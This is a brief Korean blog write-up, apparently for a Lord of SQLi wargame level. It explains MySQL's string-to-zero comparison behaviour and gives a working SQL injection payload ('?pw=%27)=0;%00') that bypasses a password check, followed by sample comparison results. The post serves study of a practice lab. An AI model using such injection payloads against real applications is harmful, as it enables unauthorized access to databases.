이 문제는 mysql 에서 문자열은 0이 된다.
?pw=%27)=0;%00
0=0은 true이기에 조건이 맞아서 출력이 댄다.
SELECT 'a' = 0 — TRUE
SELECT 'abc' = 0 — TRUE
SELECT '1' = 0 — FALSE
SELECT '123' = 0 — FALSE
SELECT 'x1' = 0 — TRUE
SELECT '1x' = 0 — FALSE
SELECT '1x' = 1 — TRUE
SELECT '12x1' = 0 — FALSE
SELECT '12x1' = 121 — FALSE
SELECT '12x1' = 12 — TRUE
'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글
[LOS1] dragon (0) | 2018.09.22 |
---|---|
[LOS1] xavis (0) | 2018.09.22 |
[LOS1] succubus (0) | 2018.09.22 |
[LOS1] zombie_assassin (0) | 2018.09.22 |
[LOS1] assessin (0) | 2018.09.22 |